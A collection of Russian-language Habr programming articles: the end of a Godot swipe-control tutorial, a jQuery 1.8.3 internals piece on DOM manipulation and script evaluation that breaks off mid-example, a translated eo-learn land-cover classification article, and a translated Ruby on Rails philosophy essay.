var swipe = '' # Тут будет храниться необходимое значение текущего свайпа
func _ready():
pass # функция нотовности к работе в примере не пригодится; можно не определять даже
# А вот функция фиксированного обновления состояния (60FPS) очень нужна
func _physics_process(delta): # delta - Это Delta Time фактор, хранящий время, прошедшее с прошлого кадра
vel.y -= GRAV # Первым делом толкаем объект вниз (чтобы пытался падать)
vel.z = -SPEED # Вторым делом двигаем его вперед. Используются значения констант
ball.rotate_x(-delta * SPEED * 2) # Так же визуально делаем так, чтобы шар "катился"
if swipe && swipe != 'swiped': # Если обнаружен новый свайп и он ещё не обработан
if swipe == 'up' && is_on_floor(): # Если свайпнули вверх и объект на плоскости (поверхности)
vel.y = JUMP_SPEED # Меняем скорость падения на константу, и вуаля - объект прыгает
elif swipe == 'left' || swipe == 'right': # Если свайпнули влево или вправо
tween.interpolate_property(self, "translation", # Плавно изменяем значение положения текущего объекта
translation, translation+Vector3(-2 if swipe == 'left' else 2,0,0), 0.2, # Берем его текущее положение, прибавляем к нему вектор с некоторым значением по X. Оно рассчитывается исходя из направления свайпа. -2 если влево, иначе 2
Tween.TRANS_CUBIC, Tween.EASE_IN_OUT) # Устанавливаем тип интерполяции и "резкость" анимации
tween.start() # Стартуем изменение значения
swipe = 'swiped' # и помечаем свайп, что он отработан
vel = move_and_slide(vel, Vector3.UP) # Для учета физики требуется вызвать специальную функцию, которая обновит данные в векторе сил для движения и так же начнет двигать объект с учетом наших потуг
# Следующая функция отвечает за обработку сенсорных событий
func _input(e):
if e is InputEventScreenDrag: # Проверяем, что событие именно движение пальца по экрану
if !swipe: # Если в данный момент свайп не производится
if e.relative.y < -SWIPE_SPEED: # Проверяем скорость движения пальца по оси Y
swipe = 'up' # и если она меньше (потому что вверх идет на уменьшение) отрицательной скорости свайпа (что переводится, как если она больше или равна необходимой для учета свайпа), то устанавливаем свайп как "вверх (UP)"
elif e.relative.x < -SWIPE_SPEED: # Если палец идет по другой траектории, то проверяем уже ось X. Если палец двигается влево - то влево
swipe = 'left'
elif e.relative.x > SWIPE_SPEED: # Если вправо,
swipe = 'right' # то вправо
elif e is InputEventScreenTouch: # Затем обработаем событие отпускания экрана
if !e.pressed: # Когда игрок убирает палец с экрана
swipe = '' # Очищаем значение свайпа
```
Каждую строчку описал, надеюсь, со скриптами всё плюс минус ясно.
Если русским языком, то мы при движении пальцем по экрану регистрируем направление движения и скорость. Если палец движется с нужной скоростью, засчитываем свайп. Исходя из того, по какой оси и в какую сторону шло движение, имеем три вариант: ВВЕРХ, ВЛЕВО, ВПРАВО.
Записываем полученное значение в переменную, которую тут же подхватывает событие обновления состояния объекта, и выполняет с ним нужные действия, после чего помечает событие, как отработанное и ожидает следующее.
Я взял не самый простой способ реализации свайпа, однако довольно надежный и работающий в большинстве ситуаций. Само собой, зависит от жанра и типа игры.
В результате проделанной работы мы получаем пример того, как легко реализовать управление свайпами буквально за десять минут.
Суммарно на всё у меня ушло минут 30, это с учетом создания моделек в Blender.
Ну и по традиции…
**Видео разработки**
**Исходники**
[Некоторые мои проекты, включая текущий](https://godot-engine.ru/?sources) | https://habr.com/ru/post/492144/ | null | ru | null |
# jQuery изнутри — манипуляции с DOM
Каникулы продолжаются и мы воспользуемся этим для получения новых знаний, укрепления и расширения старых.
Долго думал, что же разобрать дальше — атрибуты, свойства и данные или манипуляцию с DOM, даже начал писать обе статьи. И вроде бы сначала хорошо было бы дать первую тему, но в комментариях к предыдущему топику уже обратили внимание на одну особенность работы со скриптами, которая как раз относится ко второй теме, так что не будем тянуть и начнем именно с нее. Заодно прошу прощения у тех, кто увидел начало статьи, которое я по ошибке опубликовал в процессе написания.
Итак, сегодня мы продолжим серию копаний в исходниках jQuery под номером 1.8.3 (стабильная версия на момент написания статьи). Общее представление о jQuery мы [уже получили](http://habrahabr.ru/post/164433/ "jQuery изнутри, введение"), парсить html — [тоже](http://habrahabr.ru/post/164533/ "jQuery изнутри, парсим html"). Пора то, что мы распарсили куда-нибудь вставить.
Практически любые работы с DOM так или иначе идут в jQuery через функцию [domManip](https://github.com/jquery/jquery/blob/1.8.3/src/manipulation.js#L299). Рассматривать все функции, с помощью которых можно менять DOM в библиотеке, мы не будем. Рассмотрим только базовые.
#### domManip
Цель этой служебной функции — выполнить определенный callback к каждому элементу, но при этом выполнить еще кучу дополнительной работы.
Дабы не рассказывать о `domManip` безсвязно, вот весь код функции [append](https://github.com/jquery/jquery/blob/1.8.3/src/manipulation.js#L128):
```
append: function() {
return this.domManip(arguments, true, function( elem ) {
if ( this.nodeType === 1 || this.nodeType === 11 ) {
this.appendChild( elem );
}
} );
},
```
Если быть кратким, то в каждый элемент (если он — обычный `ELEMENT_NODE` или `DOCUMENT_FRAGMENT_NODE`) нашего набора в текущем jQuery-объекте будет через обычный `appendChild` добавлен элемент из параметров к функции.
Внутри функции [строится фрагмент](https://github.com/jquery/jquery/blob/1.8.3/src/manipulation.js#L326) (знакомыми нам по предыдущей статье функциями [buildFragment](https://github.com/jquery/jquery/blob/1.8.3/src/manipulation.js#L487) и [clean](https://github.com/jquery/jquery/blob/1.8.3/src/manipulation.js#L640)), при этом внутри `clean` дополнительно происходит сбор всех скриптов, которые в результирующий фрагмент **не попадут**, а вернутся в отдельном массиве.
Дальше для каждого элемента в нашем jQuery-объекте в его контексте [выполнится тот самый callback](https://github.com/jquery/jquery/blob/1.8.3/src/manipulation.js#L341), на вход которому будет подан клонированный фрагмент, который мы получили выше.
##### Функция как параметр
`domManip` (соответственно, и функции, использующие его) умеют принимать на свой вход функцию, в этом случае она будет для каждого элемента в jQuery-объекте [вызвана](https://github.com/jquery/jquery/blob/1.8.3/src/manipulation.js#L318) в его контексте для получения того, что мы хотим в нее передать.
Бесполезный (но наглядный, надеюсь) пример в студию:
```
Игорь
Дарья
// вообще такой селектор использовать - не очень ок, просто так нагляднее
$('span.user').prepend( function(idx, html) {
// попутно в функцию передаются порядковый номер и содержимое тега,
// к которому применяется функция
console.log(idx, html);
// о $.data мы поговорим в следующей статье
return $(this).data('id') + ': ';
} );
```
В этом случае в начало каждого `span` с классом «user» будет добавлена текстовая нода, в содержимом которой будет идентификатор пользователя:
```
jQuery.fn.prepend = function() {
// в результате нас вернется все тот же набор ссылок на наши span'ы в jQuery-объекте
return this.domManip(arguments, true, function( elem ) {
// функция будет вызвана два раза
// для каждого span.user, в его контексте (this)
// 1 -> ELEMENT_NODE
// 11 -> DOCUMENT_FRAGMENT_NODE
// под это условие наши span'ы подходят
if ( this.nodeType === 1 || this.nodeType === 11 ) {
// вставить elem (в этом случае - текстовая нода вида "xx: ")
// перед первым тегом внутри span (тоже текстовая нода, с именем пользователя)
this.insertBefore( elem, this.firstChild );
}
} );
};
```
##### Скрипты
Что же со скриптами, для чего мы собирали их отдельно? [Каждый скрипт](https://github.com/jquery/jquery/blob/1.8.3/src/manipulation.js#L356) будет выполнен обычным [eval](https://github.com/jquery/jquery/blob/1.8.3/src/core.js#L550). Если это `script` с атрибутом `src`, то он будет предварительно **синхронно** (дабы соблюсти порядок выполнения скриптов) загружен. В DOM такие скрипты не попадут.
```
$('').append('alert(1);')
```
Это пример из комментариев к предыдущему топику (спасибо [alisey](https://habrahabr.ru/users/alisey/)). Обратите внимание, что созданный `div` висит в воздухе, в документе его нет, однако скрипт в этом случае **все равно будет выполнен**.
Тут же кроется и подвох со вставкой скриптов с атрибутом `src`. То же самое с [jQuery.getScript](http://api.jquery.com/jQuery.getScript/) и [jQuery.ajax](http://api.jquery.com/jQuery.ajax/) с типом `script` (все это — аналоги). По-умолчанию jQuery считает что такое не нужно кешировать и к урлу при загрузке добавляет параметр с текущим unix-timestamp. В этом случае если браузер захочет закешировать ответ от сервера (все зависит от заголовков), то закеширует его по урлу, где будет timestamp, что в некоторых (скорее даже в большинстве) случаев — не приемлемо, потому что следующий подобный запрос опять пойдет мимо кеша и опять будет закеширован с timestamp'ом в url'е.
В этом случае такой код — **плохой, не делайте так**:
```
$('
``` | https://habr.com/ru/post/164677/ | null | ru | null |
# Классификация покрова земли при помощи eo-learn. Часть 3
Когда нужны результаты лучше, чем "удовлетворительно"
[Часть 1](https://habr.com/ru/post/452284/)
[Часть 2](https://habr.com/ru/post/452378/)
*Переход зоны из зимнего сезона в летний, составлено из изображений Sentinel-2. Можно заметить некоторые отличия в типах покрова по снегу, что описывалось в прошлой статье.*
Предисловие
-----------
Прошлые пару недель были весьма непростыми. Мы опубликовали [первую](https://habr.com/ru/post/452284/) и [вторую](https://habr.com/ru/post/452378/) части наших статей по поводу классификации покрова в масштабе целой страны при помощи фреймворка `eo-learn`. `eo-learn` — это библиотека с открытым исходным кодом для создания прослойки между получением и обработкой снимков со спутников и машинного обучения. В предыдущих статьях в [примерах](https://github.com/sentinel-hub/eo-learn/blob/1746fc4734fe5a906291d805801196f28089bcb0/examples/land-cover-map/SI_LULC_pipeline.ipynb) мы указывали только маленькое подмножество данных и показывали результаты лишь на малом проценте всей зоны интереса (AOI — area of interest). Знаю, это выглядит по меньшей мере не слишком впечатляюще, а возможно — весьма грубо с нашей стороны. Всё это время вас мучили вопросы, как можно использовать эти знания и перенести их на *следующий* уровень.
Не волнуйтесь, именно для этого нужна третья статья в этом цикле! Хватайте чашку кофе, и присаживайтесь...
All our Data are Belong to You!
-------------------------------
Вы уже сидите? Может оставьте кофе на столе еще на секунду, потому что сейчас вы услышите лучшие новости за сегодня…
Мы в Sinergise решили опубликовать полный набор данных по Словении за 2017 год. Бесплатно. Вы беспрепятственно можете получить доступ к 200ГБ данных в виде ~300 фрагментов EOPatch, каждый примерно в размере 1000х1000, в разрешении 10м! Подробнее про формат EOPatch можете прочитать в [прошлом посте](https://medium.com/sentinel-hub/introducing-eo-learn-ab37f2869f5c) про `eo-learn`, но по сути это контейнер для *гео-темпоральных* EO (Earth Observation) и не-EO данных: например, спутниковые снимки, маски, карты, и пр.
*Структура EOPatch*)
Мы не халтурили, когда загружали эти данные. Каждый EOPatch содержит изображения Sentinel-2 L1C, соответствующую им маску [s2cloudless](https://medium.com/sentinel-hub/sentinel-hub-cloud-detector-s2cloudless-a67d263d3025), и официальную карту покрова земли в растровом формате!
Данные хранятся на AWS S3 по адресу: <http://eo-learn.sentinel-hub.com/>
Десериализация объекта EOPatch довольно проста:
```
EOPatch.load('path_to_eopatches/eopatch-0x6/')
```
В результате вы получите объект следующей структуры:
```
EOPatch(
data: {
BANDS: numpy.ndarray(shape=(80, 1010, 999, 6), dtype=float32)
}
mask: {
CLM: numpy.ndarray(shape=(80, 1010, 999, 1), dtype=uint8)
IS_DATA: numpy.ndarray(shape=(80, 1010, 999, 1), dtype=uint8)
IS_VALID: numpy.ndarray(shape=(80, 1010, 999, 1), dtype=bool)
}
mask_timeless: {
LULC: numpy.ndarray(shape=(1010, 999, 1), dtype=uint8)
VALID_COUNT: numpy.ndarray(shape=(1010, 999, 1), dtype=int64)
}
meta_info: {
maxcc: 0.8
service_type: 'wcs'
size_x: '10m'
size_y: '10m'
time_difference: datetime.timedelta(-1, 86399)
time_interval: (datetime.datetime(2017, 1, 1, 0, 0), datetime.datetime(2017, 12, 31, 0, 0))
}
bbox: BBox(((370230.5261411405, 5085303.344972428), (380225.31836121203, 5095400.767924464)), crs=EPSG:32633)
timestamp: [datetime.datetime(2017, 1, 1, 10, 4, 7), ..., datetime.datetime(2017, 12, 25, 10, 15, 32)], length=80
)
```
Доступ к разным атрибутам EOPatch осуществляется следующим образом:
```
eopatch.timestamp
eopatch.mask['LULC']
eopatch.data['CLM'][0]
eopatch.data['BANDS'][5][..., [3, 2, 1]]
```
### EOExecute Order 66
Отлично, данные загружаются. Пока мы ждём завершения этого процесса, давайте взглянем на возможности класса, который еще не обсуждался в этих статьях — [`EOExecutor`](https://eo-learn.readthedocs.io/en/latest/eolearn.core.eoexecution.html). Этот модуль занимается выполнением и мониторингом конвейера и позволяет без лишних усилий использовать многопоточность. Больше никаких поисков на Stack Overflow о том, как правильно распараллеливать конвейер или как заставлять работать прогресс-бар в таком режиме — мы уже всё сделали за вас!
Дополнительно, он обрабатывает возникающие ошибки и может генерировать краткую сводку о процессе выполнения. Последнее — важнейший момент для того, что бы быть уверенным в повторяемости своих результатов в будущем, что бы пользователю не пришлось тратить драгоценное рабочее время на поиск параметров, которые он использовал в прошлый четверг в 9 утра после целой ночи кутежа (алкоголь и программирование смешивать не стоит!). Этот класс также умеет генерировать приятный граф зависимости для конвейера, который вы можете показать своему боссу!
*Граф зависимости задач в конвейере, генерируемый `eo-learn`*
### Эксперименты с машинным обучением
Как и обещали, эта статья в основном предназначена для исследования разных моделей с `eo-learn` используя предоставленные нами данные. Ниже мы подготовили два эксперимента, где мы изучаем влияние облаков и разных алгоритмов ресемплинга при темпоральной интерполяции на конечный результат. После всего этого, мы начнём работу со свёрточными сетями (CNN), и сравним результаты двух подходов — попиксельный анализ деревом решений и глубокое обучение при помощи свёрточных нейронных сетей.
К сожалению, нельзя дать однозначный ответ по поводу того, какие решения следует принимать во время экспериментов. Вы можете глубже изучать предметную область и делать предположения для того, что бы решить, стоит ли овчинка выделки, но в конечном итоге всё равно работа будет сводиться к методу проб и ошибок.
### Играем с облаками
Облака — огромная боль в мире EO, особенно если речь заходит об алгоритмах машинного обучения, где хочется их определить и убрать из набора данных для проведения интерполяции по пропущенным значениям. Но насколько большая выгода от этой процедуры? Стоит ли оно того? Rußwurm и Körner в статье [Multi-Temporal Land Cover Classification with Sequential Recurrent Encoders](https://www.researchgate.net/publication/322975904_Multi-Temporal_Land_Cover_Classification_with_Sequential_Recurrent_Encoders) даже показали, что для глубокого обучения процедура фильтрации облаков возможно абсолютно неважна, поскольку классификатор сам способен обнаруживать облака и игнорировать их.
Активация входного слоя (сверху) и модуляционного слоя (снизу) на последовательности снимков определённого фрагмента для нейронной сети. Можно заметить, что этот фрагмент сети научился сам создавать маски облачности и фильтровать полученные результаты. (Страница 9 в <https://www.researchgate.net/publication/322975904_Multi-Temporal_Land_Cover_Classification_with_Sequential_Recurrent_Encoders>)
Вкратце напомним структуру шага фильтрации данных (подробности в [предыдущей статье]()). После получения снимков Sentinel-2 мы начинаем фильтровать облачные снимки. Отсеиванию подлежат все снимки, в которых количество не-облачных пикселей не превышает 80% (пороговые значения могут отличаться для разных зон интереса). После этого, для получения значений пикселей в произвольные дни, используются маски облачности для того, что бы не учитывать такие данные.
Итого, возможны четыре варианта поведения:
1. **с** фильтром снимков, **учитывая** маски облачности
2. **без** фильтра снимков, **учитывая** маски облачности
3. **с** фильтром снимков, **не учитывая** маски облачности
4. **без** фильтра снимков, **не учитывая** маски облачности
*Визуальное отображение стека изображений со спутника Sentinel-2. Прозрачные пиксели слева подразумевают пропавшие пиксели ввиду облачности. Стек по центру показывает значения пикселей после фильтрации снимков и их интерполяции с маской облачности (Случай 4), а стек справа показывает результат интерполяции в случае без фильтрации снимков и без масок облачности (1). (Прим. пер. — судя по всему, в статье опечатка, и подразумевалось наоборот — по центру случай 1, а справа — 4).*
Мы в прошлой статье уже выполняли вариацию случая 1 и показали результаты, так что будем использовать их для сравнения. Подготовка других конвейеров и тренировка модели звучит как не сложная задача — надо лишь убедиться, что мы сравниваем правильные величины. Для этого, достаточно взять один и тот же набор пикселей для тренировки и валидации модели.
Результаты указаны в таблице ниже. Можно заметить, что в целом влияние облаков на результат работы модели достаточно низок! Это может быть связано с тем, что референсная карта очень хорошего качества и модель способна игнорировать большую часть снимков. В любом случае, такое поведение нельзя гарантировать для любой AOI, так что не торопитесь выбрасывать этот шаг из своих моделей!
| Model | Точность [%] | [F\_1](https://en.wikipedia.org/wiki/F1_score) [%] |
| --- | --- | --- |
| Без фильтров, без маски | 92.8 | 92.6 |
| Без фильтров, с маской | 94.2 | 93.9 |
| С фильтром, без маски | 94.0 | 93.8 |
| С фильтром, с маской | 94.4 | 94.1 |
### Влияние разных подходов к ресемплингу
Выбор параметров темпорального ресемплинга не очевиден. С одной стороны, нам необходим детальный массив изображений, которые хорошо демонстрируют детали исходных снимков — хочется включить максимально близкое количество снимков к исходным данным. С другой стороны, мы ограничены вычислительными ресурсами. Уменьшение шага ресемплинга в два раза увеличивает количество кадров после интерполяции, и таким образом увеличивает количество признаков, которые используются при тренировке. Стоит ли подобное улучшение результата затраченных ресурсов? Это нам и предстоит узнать.
Для этого эксперимента, будем использовать вариацию 1 из предыдущего шага. После интерполяции, мы совершаем ресемплинг со следующими вариациями:
1. Равномерный ресемплинг с интервалом в 16 дней
2. Равномерный ресемплинг с интервалом в 8 дней
3. Выбор "лучших" дат, количество совпадает со случаем 2.
Выборка в случае 3 базируется на самом большом количестве общих дат для всех EOPatch в выбранной AOI
*График показывает количество фрагментов EOPatch, которые содержат данные за каждый день 2017 года (синий). Красными линиями показаны оптимальные даты для ресемплинга, которые базируются на датах снимков Sentinel-2 для заданной AOI 2017 года.*
Взглянув на таблицу ниже, можно заметить, что результаты не слишком впечатляющие, как и в прошлом опыте. Для случаев 2 и 3 количество затраченного времени вырастает примерно вдвое, но при этом разница с начальным подходом составляет меньше 1%. Подобные улучшения слишком незаметны для практического применения, так что можно считать 16-дневный интервал подходящим для задачи.
| Model | Точность [%] | F\_1 [%] |
| --- | --- | --- |
| Равномерно каждые 16 дней | 94.4 | 94.1 |
| Равномерно каждые 8 дней | 94.5 | 94.3 |
| Выбор лучших дат | 94.6 | 94.4 |
*Результаты общей точности и взвешенных F1 для разных конвейеров с изменением подхода к ресемплингу.*
Глубокое обучение: используем свёрточную нейронную сеть (CNN)
-------------------------------------------------------------
Глубокое обучение стало стандартным подходом к многим задачам, таким как компьютерное зрение, обработка текстов на естественных языках, и обработка сигналов. Это связано с их способностью выделять шаблоны из сложных многомерных входных данных. Классические подходы машинного обучения (такие, как деревья решений) использовались во многих задачах, связанных с темпоральными геоданными. С другой стороны, свёрточные сети использовали для анализа пространственной корреляции между соседними снимками. В основном, их применение ограничивалось работой с единичными снимками.
Мы хотели изучить архитектуру моделей глубокого обучения, и попробовать подобрать такую, которая способна анализировать как пространственные, так и темпоральные аспекты спутниковых данных, одновременно.
Для этого, мы использовали темпоральные полносвёрточные сети (Temporal Fully-Convolutional Netvork, TFCN), а точнее, темпоральное расширение к U-Net, реализованную в TensorFlow. Если точнее, архитектура использует пространственно-временные корреляции для улучшения результата. Дополнительным преимуществом также является то, что структура сети позволяет лучше представить пространственные отношения в разных масштабах благодаря процессу кодирования\декодирования в U-net. Так же, как и в классических моделях, на выходе мы получаем двухмерную матрицу меток, которую будем сравнивать с истиной.
Натренированную модель мы использовали для предсказания меток на тестовом множестве, и полученные значения проверили с истиной. В целом точность составила 84.4% и F1 была равна 85.4%.
*Сравнение разных предсказаний для нашей задачи. Визуальное изображение (левое сверху), истинная референсная карта (справа сверху), предсказание модели LightGBM(снизу слева) и предсказание при помощи U-net(снизу справа)*
Эти результаты показывают лишь начальную работу над настоящим прототипом, который крайне не оптимизирован для текущей задачи. Несмотря на это, результаты сходятся с некоторыми статистиками, полученными в области. Для раскрытия потенциала нейронной сети необходима оптимизация архитектуры (набор признаков, глубина сети, кол-во свёрток), а также настройка гиперпараметров (скорость обучения, кол-во эпох, взвешивание классов). Мы рассчитываем углубиться в эту тему (ха-ха) еще сильнее, и планируем распространить наш код, когда он будет в приемлемом виде.
### Другие эксперименты
Можно придумать *множество* способов улучшить текущие результаты, но мы не можем ни перебрать, ни попробовать их все. Именно в этот момент на сцене появляетесь вы! Покажите, что вы можете сделать с этим набором данных и помогите нам улучшить результаты!
Например, один из наших коллег в ближайшем будущем будет заниматься классификацией покрова, основываясь на темпоральном стеке *отдельных* изображений при помощи свёрточных сетей. Идея в том, что некоторые поверхности, например, искусственные, можно отличить без темпоральных признаков — достаточно пространственных. Мы будем рады написать отдельную статью, когда эта работа приведёт к результатам!
### От переводчика
К сожалению, следующая часть этого цикла статей не вышла, а значит, примеров исходного кода с построением U-Net авторы не показывали. Как альтернативу могу предложить следующие источники:
1. *U-Net: Convolutional Networks for Biomedical Image Segmentation — Olaf Ronneberger, Philipp Fischer, Thomas Brox* — одна из базовых статей по архитектуре U-Net, не предполагающая темпоральных данных.
2. <https://eo-learn.readthedocs.io/en/latest/examples/land-cover-map/SI_LULC_pipeline.html> — Страница документации eo-learn, где находится (возможно) более свежая версия конвейеров из 1,2 частей.
3. <https://github.com/divamgupta/image-segmentation-keras> — Репозиторий с несколькими сетями, реализованными при помощи keras. У меня есть некоторые вопросы по поводу реализаций (они несколько отличаются от описанных в оригинальных статьях), но в целом решения легко адаптируются для личных целей и вполне рабочие. | https://habr.com/ru/post/453354/ | null | ru | null |
# Ruby on Rails соглашение. Часть 3
### Ни одна парадигма
Существует эмоциональная привязанность при выборе определенной центральной идеи как фундамента вашей архитектуры и следованию ей до логического завершения при разработке приложения. В дисциплине есть чистота, поэтому понятно почему столь многих программистов привлекает такой подход.
В Rails — это не так. Это не один, идеальный крой ткани. Это одеяло. Совокупность многих разных идей и даже парадигм. Многие из них, как правило, противоречат друг другу, если их сравнивать друг с другом и один за другим. Но это не то что мы пытаемся сделать. Это не одно большое соревнование, в котором должен быть объявлен один победитель.
Возьмите шаблоны, с которыми мы создаем представление в нашем Rails-MVC-пироге. По умолчанию все хелперы, которые позволяют нам извлекать код из этих шаблонов, — это просто большой набор функций! Это единое пространство имен. О, потрясение и ужас, это как PHP-суп!
Но я утверждаю, что создатели PHP были правы при выборе этого решения, когда речь заходит о представлении отдельных функций, которые редко нуждаются во взаимодействии, как в случае с абстракцией в шаблонах представлений. И для этой цели единое пространство имен, большой набор методов, является разумным выбором.
Это не означает, что мы иногда не хотим достичь чего-то более объектно-ориентированного при построении представлений. Концепция Presenters, в которой мы заключаем множество методов, которые являются взаимозависимыми друг с другом и нижележащими данными, иногда может быть идеальным противоядием супу методов, привязанных к зависимостям. Но, как правило, это оказывается редким случаем, а не распространенным.
Для сравнения, мы обычно рассматриваем модель в MVC как основной бастион объектно-ориентированного подхода. Нахождение только правильных имен для объектов, увеличение согласованности и снижение связанности — это удовольствие от моделирования предметной области. Это очень отличный слой от представления, поэтому мы используем другой подход.
Но даже здесь мы не подходим к одно парадигматической догме. Проблемы с Rails, специализацией Ruby являются миксины, которые часто используются, чтобы дать отдельным моделям очень широкую площадь поверхности. Это хорошо сочетается с шаблоном Active Record, предоставляя связанным методам прямой доступ к данным и хранилищу, с которыми они взаимодействуют.
Даже сама основа системы Active Record оскорбляет некоторых пуристов. Мы смешиваем логику, необходимую для взаимодействия с базой данных непосредственно с бизнес-областью и логикой. Такое сочетание границ! Да, потому что это оказалось практичным способом обернуть веб-приложение, которое практически всегда имеет связь с базой данных, чтобы сохранить состояние модели домена.
Быть настолько идеологически гибким — это то, что позволяет Rails решать столь широкий круг проблем. Большинство отдельных парадигм очень хорошо работают в определенном фрагменте предметной области, но становятся проблемными при применении вне своей сферы и зоны комфорта. Применяя множество пересекающихся парадигм, мы прикрываем фланги и охраняем тыл. Заключительная структура намного более сильна и более способна, чем любая индивидуальная парадигма позволила бы ей быть.
Теперь стоимость этих полиамурных отношений со многими парадигмами программирования является концептуально накладной. Недостаточно просто знать объектно-ориентированное программирование, чтобы хорошо провести время в работе с Rails. Желательно также хорошо уметь работать с процедурным и функциональным подходом.
Это относится и ко многим подязыкам, а также Rails. Мы не пытаемся оградить вас настолько, чтобы вы научились, скажем, JavaScript для представления или SQL для сложных запросов. По крайней мере, чтобы не достичь пика возможностей.
Путь к облегчению некоторых из этих проблем в обучении заключается в том, чтобы просто упростить начало работы, сделать что-то действительно ценное, прежде чем вы поймете каждый отдельный аспект структуры. По этой причине мы спешим в Hello World. Ваш стол уже приготовлен, и подана закуска.
Мысль заключается в том, что, давая что-то действительно ценное на раннем этапе, мы поощряем практикующих Rails быстро повышать свой уровень. Примите путешествие обучения как радость, а не препятствие.
### Культ красоты кода
Мы пишем код не только для того, чтобы его понял компьютер и другие программисты, но и чтобы насладиться его лаконичностью и красотой. Эстетически приятный код — это ценность для самого себя и к нему следует стремиться. Это не означает, что красивый код решает другие проблемы, но он должен быть одним из ваших приоритетов.
Итак, что такое красивый код? В Ruby зачастую это пересечение нативных Ruby методов и всей мощи DSL. Это незаметная грань, но все же стоит попробовать найти золотую середину.
Вот простой пример из Active Record:
```
class Project < ApplicationRecord
belongs_to :account
has_many :participants, class_name: 'Person'
validates_presence_of :name
end
```
Это похоже на DSL, но на самом деле это просто определение класса с тремя вызовами методов класса, которые принимают символы и параметры. В этом нет ничего не обычного. Это читаемо. Это просто. Это дает большое количество гибкости из нескольких определений.
Часть красоты данного примера заключается в том, что это соответствует предыдущим принципам, таким как Конвенция над конфигурацией. Когда мы вызываем belongs\_to :account, то предполагаем, что внешний ключ называется account\_id и что он находится в таблице projects. Когда нам нужно определить class\_name Person для ассоциации participants, нам требуется определить только имя класса. Из этого мы вновь получим внешние ключи и другие точки конфигурации.
Вот еще один пример с миграцией базы данных:
```
class CreateAccounts < ActiveRecord::Migration
def change
create_table :accounts do |t|
t.integer :queenbee_id
t.timestamps
end
end
end
```
В этом и заключается сила фреймворка. Программист объявляет класс в соответствии с определенным соглашением, например, подкласс ActiveRecord::Migration, который реализует метод #change и фреймворк выполяет все связанные с этим операции и знает, что это метод вызова.
Это дает возможность писать меньше кода. В случае с миграциями это не только вызов rails db:migrate, чтобы обновить состояние базы данных, для добавления новой таблицы, но и позволяет в случае необходимости удалить ее. Это сильно отличается от того, как программист делает все это и объединяет библиотеки, которые вызывают сами себя.
Иногда красивый код имеет более короткую запись. Речь не о том, чтобы сделать что-то как можно короче или мощнее, а о следование концепции соглашения.
Эти два условия делают одно и тоже:
```
if people.include? person
…
if person.in? people
```
Концепция и основное внимание несколько отличаются. В первом условии основное внимание уделяется коллекции. Это наш субъект. Во втором условии субъектом явно является person. Между двумя этими условиями не так много различий, но я утверждаю, что второе более красивое и заставит меня улыбнуться, когда будет использоваться в месте, где это условие касается person.
### Острые лезвия
В Ruby есть много острых лезвий. Не случайно, а намеренно. Самое известное это monkey-patching: механизм позволяющий изменить существующие методы и классы.
Эта неограниченная мощь в самом деле может вывести неопытных программистов на кривую дорожку. Люди, которые пришли из среды программирования с более жесткими ограничениями представляют себе всевозможные проблемы связанные с этим, которые обрекут Ruby на исчезновение по причине того, что он предоставляет огромное доверие программистам позволяя использовать данную функцию.
Если вы можете изменить что угодно, что остановит вас от переписывания функции String#capitalize и ‘something bold’.capitalize возвращающей ‘Something Bold’ вместо ‘Something bold’? Это сработает в вашем локальном приложении, но сломает всю логику, которая зависит от оригинальной реализации.
Ничего, это ответ. Нет ничего в Ruby чтобы остановить вас от использования острых лезвий. Мы добиваемся следованию соглашения через пинки и образование. Не запрещая острые лезвия на кухне и настаивая на том чтобы все использовали ложки для нарезки помидоров.
Потому что обратная сторона monkey patching это возможность делать такие вещи как 2.days.ago (возвращает дату на два дня назад от текущей). Вы можете подумать что это плохая сделка. То что вы лучше откажетесь от использования 2.days.ago, если это будет означать, что программисты не перезаписывают String#capitalize. Если это ваша позиция, то Ruby вероятно не для вас.
Тем не менее было бы трудно — даже для людей, которые откажутся от такой свободы для какой-либо безопасности, — утверждать, что возможность менять основные классы и методы обрекает Ruby как язык. Напротив, язык процветал именно потому, что он предлагал другую радикальную точку зрения для роли программиста: доверить им использовать острые лезвия.
И не только доверял, но и учил способам использования таких мощных инструментов. Чтобы мы могли поднять уровень профессиональной области, предполагая, что большинство программистов хотели бы стать лучшими программистами, способными овладеть острыми лезвиями не поранив пальцы. Это невероятно вдохновляющая идея и она противоречит интуиции программиста о других программистах.
Потому что это всегда о других программистах, когда ценность острых лезвий оспаривается. Я еще не слышал, как один программист протянул руку и сказал: “Я не могу доверить себе эту силу, пожалуйста уберите ее от меня!”. Это всегда “Я думаю, что другие программисты злоупотребляли бы этим”. Эта линия патернализма никогда не касалась меня.
Это приводит нас к Rails. Лезвия, предоставленные фреймворком не такие острые как те которые предоставляются языком, но некоторые из них еще очень интересны в разрезе. Мы не приносим извинения за предоставления таких инструментов, как части стартового набора. На самом деле, мы должны отметить, что достаточно верим в стремления наших коллег-программистов и смело доверяем им.
Множество функций Rails со временем начинают оспариваться “слишком много свободы”. Но один пример, который в настоящее время является самым популярным, является апогеем. Это тонкий слой синтаксического сахара вокруг встроенной в Ruby функции модулей и предназначен для того, чтобы один класс мог инкапсулировать несколько связанных с ним классов, но самостоятельных, concerns (отсюда и название).
Обвинение заключается в том, что при помощи concerns программисты могут разбить свои объекты на отдельные наборы и превращать очевидную структуру в беспорядок. И это правда. Concerns действительно могут быть использованы именно так.
Но самая большая ошибка заключается в том, чтобы не предоставлять такого функционала как concerns, которые при использовании даже слабо умелыми руками позволяют красноречиво разделять понятия, мы поставили бы программистов на путь архитектурного блаженства. Если вам нельзя доверить очистку кухонной раковины от переизбытка concerns, вы, вероятно не станете, в противном случае, профессионалом своего дела.
Программисты, которые еще не научились обращаться с острыми лезвиями, пока еще не собираются делать безе. Важное слово здесь: Еще. Я считаю, что у каждого программиста есть путь, если не право, стать полностью полноправным представителем Ruby on Rails сообщества. И говоря полноправным я имею в виду осведомленным, осознающим, когда и в каком контексте следует использовать острые лезвия из набора инструментов.
Это не отменяет ответственности за помощь им в этом направлении. Язык и фреймворк должны быть терпеливыми преподавателями, желающими помогать и направлять новичков. Стоит признать, что единственный надежный путь обучения проходит через страну ошибок: инструменты используются неправильно, немного крови, пота и, возможно, даже некоторые слезы. Другого пути просто нет.
Ruby on Rails — это среда для шеф-поваров и тех, кто хочет стать шеф-поварами. Вы можете начать с посуды, но вы можете поработать над кухней. Не позволяйте никому говорить вам, что вам нельзя доверять лучший инструмент в рамках этого пути.
* [Часть 1](https://habrahabr.ru/post/327890/)
* [Часть 2](https://habrahabr.ru/post/328942/)
* [Часть 3](https://habrahabr.ru/post/329844/)
